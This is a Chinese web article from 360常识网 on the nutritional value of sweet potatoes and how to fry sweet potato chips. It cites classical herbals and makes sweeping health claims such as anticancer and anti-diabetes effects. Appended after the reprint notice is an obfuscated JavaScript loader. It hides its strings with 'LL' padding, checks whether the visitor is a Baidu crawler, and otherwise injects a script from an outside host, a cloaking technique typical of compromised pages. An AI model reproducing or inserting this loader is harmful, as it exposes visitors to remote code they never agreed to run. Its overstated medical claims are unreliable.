当前位置:首页 > 饮食 > 食物营养 > 正文

红薯片的营养价值是什么

2017-07-12 08:24:01  来源:360常识网   热度:
导语:多吃红薯能防止便秘的发生,尤其是老人多吃红薯好。红薯可以一整个都放进稀饭里也可以弄成丝,红薯这种食物可美容养颜延年益寿。红薯的吃法

多吃红薯能防止便秘的发生,尤其是老人多吃红薯好。红薯可以一整个都放进稀饭里也可以弄成丝,红薯这种食物可美容养颜延年益寿。红薯的吃法有很多种,可烤可油炸可煮汤。以前在学校门口有炸红薯片味道很棒,脆脆的感觉吃一次就还想再吃,外面卖的油炸食品毕竟不卫生,想吃红薯片可以自己在家弄。

1.红薯块根具有活性成分,有抗癌、保护心脏、预防肺气肿、糖尿病、减肥、美容等功效,有“长寿食品”美誉。另外,块根常除供食用外,还可以制糖和酿酒、制酒精,也可制取淀粉、提取果胶等,制取的淀粉可以制作粉条和粉皮,可以制作美味的菜肴。

2.红薯含有丰富的淀粉、维生素、纤维素等人体必需的营养成分,还含有丰富的镁、磷、钙等矿物元素和亚油酸等。这些物质能保持血管弹性,对防治老年习惯性便秘十分有效。遗憾的是,人们大都以为吃红薯会使人发胖而不敢食用。其实恰恰相反,红薯是一种理想的减肥食品,它的热量只有大米的1/3,而且因其富含纤维素和果胶而具有阻止糖分转化为脂肪的特殊功能[8]。

红薯不仅是健康食品,还是祛病的良药。《本草纲目》记载,红薯有「补虚乏,益气力,健脾胃,强肾阴」的功效。「红薯蒸、切、晒、收,充作粮食,称做薯粮,使人长寿少疾。」《本草纲目拾遗》说,红薯能补中、和血、暖胃、肥五脏。《金薯传习录》说它有6种药用价值:治痢疾和泻泄;治酒积和热泻;治湿热和黄疸;治遗精和白浊;治血虚和月经失调;治小儿疳积。《陆川本草》说,红薯能生津止渴,治热病口渴。

红薯的营养价值颇高,喜欢吃的人不计其数。红薯片的做法很简单,可以添加一些其他的粗粮,搅拌在一起。玉米粉的比例很重要调的不好红薯片的口感就没那么好了,小孩子喜欢吃油炸的食物家长不妨试一试这个炸红薯片吧。两面炸到金黄最佳,小火慢慢炸脆。

转载申明:360常识网,欢迎分享,转载请注明出处!

if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}